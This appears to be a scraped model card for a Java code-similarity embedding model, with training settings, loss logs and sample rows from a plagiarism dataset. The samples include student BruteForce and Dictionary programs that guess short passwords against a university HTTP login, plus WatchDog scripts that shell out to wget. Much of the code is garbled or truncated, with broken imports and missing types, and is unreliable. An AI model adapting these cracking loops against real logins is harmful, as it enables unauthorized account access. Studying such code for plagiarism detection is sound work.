import java.net.;
import javax.swing.Timer;
import java.awt.event.*;
import javax.swing.JOptionPane;
public class WatchDog
{
private static Process pro = null;
private static Runtime run = Runtime.getRuntime();
public static void main(String[] args)
{
String cmd = null;
try
{
cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");
pro = run.exec(cmd);
System.out.println(cmd);
}
catch (IOException e)
{
}
class Watch implements ActionListener
{
BufferedReader in = null;
String str = null;
Socket socket;
public void actionPerformed (ActionEvent event)
{
try
{
System.out.println("in Watch!");
String cmd = new String();
int ERROR = 1;
cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");
System.out.println(cmd);
cmd = new String("diff original.txt new.txt");
pro = run.exec(cmd);
System.out.println(cmd);
in = new Buf...
import java.net.;
import java.io.;
public class BruteForce {
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Error: Correct Format Filename, username e.g<>");
System.exit(1);
}
BruteForce bruteForce1 = new BruteForce();
Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("The Password of "+args[0]+"is.."+Result);
}
private String Password(String urlString,String username)
{
int cnt=0;
t0 = System.currentTimeMillis();
for ( char ch = 'A'; ch <= 'z'; ch++ )
{
if (ch>'Z' && ch<'a')
{
ch='a';
}
for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )
{
if (ch1>'Z' && ch1<'a')
{
ch1='a';
}
for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )
{
if (ch2>'Z' && ch2<'a')
{
...
import java.net.;
import java.io.;
import java.util.Date;
public class Dictionary{
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Correct Format Filename username e.g<>");
System.exit(1);
}
Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result);
}
private String Dict(String urlString,String username)
{
int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;
try{
stream = new FileInputStream ("/usr/share/lib/dict/words");
word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{
password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print("...
package java.httputils;
import java.io.IOException;
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Iterator;
public class RunnableHttpRequest extends Thread
{
protected String targetURL = "http://localhost:8080/";
protected int requestCount = 1;
protected ArrayList timingList = new ArrayList();
protected HttpRequestClient req;
Boolean finished = new Boolean(false);
HttpRequestThreadPool pool;
public void run()
{
try
{
for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)
{
try
{
req =
new HttpRequestClient(getTargetURL());
}
catch (MalformedURLException e)
{
e.printStackTrace();
break;
}
catch (IOException e)
{
... - Loss:
MultipleNegativesRankingLoss
with these parameters:{ "scale": 20.0, "similarity_fct": "cos_sim" }
Evaluation Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 4,296 evaluation samples
- Columns:
anchor_code
,positive_code
, andnegative_code
- Approximate statistics based on the first 1000 samples:
anchor_code positive_code negative_code type string string string details - min: 51 tokens
- mean: 465.86 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 465.32 tokens
- max: 512 tokens
- min: 51 tokens
- mean: 458.73 tokens
- max: 512 tokens
- Samples:
anchor_code positive_code negative_code
import java.util.;
import java.io.;
public class WatchDog
{
public static void main(String args[])
{
Runtime rt1 = Runtime.getRuntime();
Process prss1= null;
try
{
prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
}catch(java.io.IOException e){}
MyWatchDogTimer w = new MyWatchDogTimer();
Timer time = new Timer();
time.schedule(w,864000000,864000000);
}
}
import java.util.;
import java.io.;
public class MyTimer
{
public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);
}
}import java.net.;
import java.io.;
import java.util.Vector;
import java.util.Date;
import java.security.;
public class Dictionary {
public static BufferedReader in;
public static void main(String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int count=0;
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES1000*60;
boolean timedOut=false;
boolean found=false;
Vector dictionary=new Vector(readWords());
System.out.println("Words in dictionary: "+dictionary.size());
while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
}
String password = "";
...
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class MailsendPropertyHelper {
private static Properties testProps;
public MailsendPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
testProps.load(fis);
}
}
}
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class BruteForcePropertyHelper {
private static Properties bruteForceProps;
public BruteForcePropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();
InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}
import java.net.;
import java.io.;
import java.Ostermiller.util.;
import java.util.;
public class MyClient2 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private BruteForce myMaster;
public MyClient2(BruteForce bf , int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
...import java.io.;
import java.net.;
import java.util.*;
public class Dictionary
{
public static void main (String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
String password="";
int requests=0;
try
{
FileReader fRead = new FileReader("/usr/share/lib/dict/words");
BufferedReader buf = new BufferedReader(fRead);
password=buf.readLine();
while (password != null)
{
if (password.length()<=3)
{
requests++;
if (testPassword(password, startTime, requests))
return password;
}
password = buf.readLine();
}
}
catch (IOException ioe)
{
}
return password;
}
private static boolean testPassword(String password, double startTime, int requests)
{
try
{
U...import java.io.;
import java.net.;
import java.util.*;
public class BruteForce
{
public static void main(String args[])
{
Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();
String password=getPassword(startTime);
System.out.println("The password is " + password);
}
public static String getPassword(double startTime)
{
char first, second, third;
String password="";
int requests=0;
for (int i=65; i<123; i++)
{
requests++;
first = (char) i;
password = first + "";
if (testPassword(password, startTime, requests))
return password;
for (int j=65; j<123; j++)
{
requests++;
second = (char) j;
password = first + "" + second;
if (testPassword(password, startTime, requests))
return password;
for (int k=65; k<123; k++)
{
requests++;
third = (char) k;
password = first + "" + second + "" + third;
if (test...
import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.;
import java.net.;
import java.util.*;
public class Dictionary {
public Dictionary(String url, String dictionaryFile) {
try{
this.url = url;
this.dictionaryPath = dictionaryFile;
InputStream fis = new FileInputStream(this.dictionaryPath);
dict = new BufferedReader(new InputStreamReader(fis));
}catch(IOException ioe){
System.out.println("Error opening dictionary file:\n" +ioe);
}
}
private String url = null;
private String dictionaryPath = null;
private BufferedReader dict = null;
private int attempts = 0;
private int passwordSize = 3;
public void setPasswordSize(int size){
this.passwordSize = size;
}
public String getNextPassword()throws IOException{
String line = dict.readLine();
while(line!=null&&line.length()!=this.passwordSize )
line = dict.readLine();
return line;
}
publ... - Loss:
MultipleNegativesRankingLoss
with these parameters:{ "scale": 20.0, "similarity_fct": "cos_sim" }
Training Hyperparameters
Non-Default Hyperparameters
eval_strategy
: stepsper_device_train_batch_size
: 16per_device_eval_batch_size
: 16num_train_epochs
: 1warmup_ratio
: 0.1fp16
: Truebatch_sampler
: no_duplicates
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: stepsprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 16per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1.0num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.1warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: no_duplicatesmulti_dataset_batch_sampler
: proportional
Training Logs
Epoch | Step | Training Loss | Validation Loss |
---|---|---|---|
0.0414 | 100 | 1.0176 | 0.3260 |
0.0827 | 200 | 0.373 | 0.3260 |
0.1241 | 300 | 0.376 | 0.2971 |
0.1655 | 400 | 0.3419 | 0.3132 |
0.2069 | 500 | 0.3402 | 0.2920 |
0.2482 | 600 | 0.3441 | 0.2975 |
0.2896 | 700 | 0.3337 | 0.3587 |
0.3310 | 800 | 0.3432 | 0.2844 |
0.3724 | 900 | 0.3338 | 0.2810 |
0.4137 | 1000 | 0.3349 | 0.2990 |
0.4551 | 1100 | 0.3172 | 0.2890 |
0.4965 | 1200 | 0.3191 | 0.2753 |
0.5379 | 1300 | 0.3122 | 0.2780 |
0.5792 | 1400 | 0.3169 | 0.2759 |
0.6206 | 1500 | 0.3137 | 0.2736 |
0.6620 | 1600 | 0.3107 | 0.2651 |
0.7034 | 1700 | 0.2981 | 0.2752 |
0.7447 | 1800 | 0.3173 | 0.2687 |
0.7861 | 1900 | 0.2996 | 0.2692 |
0.8275 | 2000 | 0.2877 | 0.2695 |
0.8688 | 2100 | 0.2953 | 0.2752 |
0.9102 | 2200 | 0.289 | 0.2694 |
0.9516 | 2300 | 0.2741 | 0.2651 |
0.9930 | 2400 | 0.3358 | 0.2605 |
Framework Versions
- Python: 3.11.11
- Sentence Transformers: 4.1.0
- Transformers: 4.52.4
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.7.0
- Datasets: 3.6.0
- Tokenizers: 0.21.1
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
MultipleNegativesRankingLoss
@misc{henderson2017efficient,
title={Efficient Natural Language Response Suggestion for Smart Reply},
author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
year={2017},
eprint={1705.00652},
archivePrefix={arXiv},
primaryClass={cs.CL}
}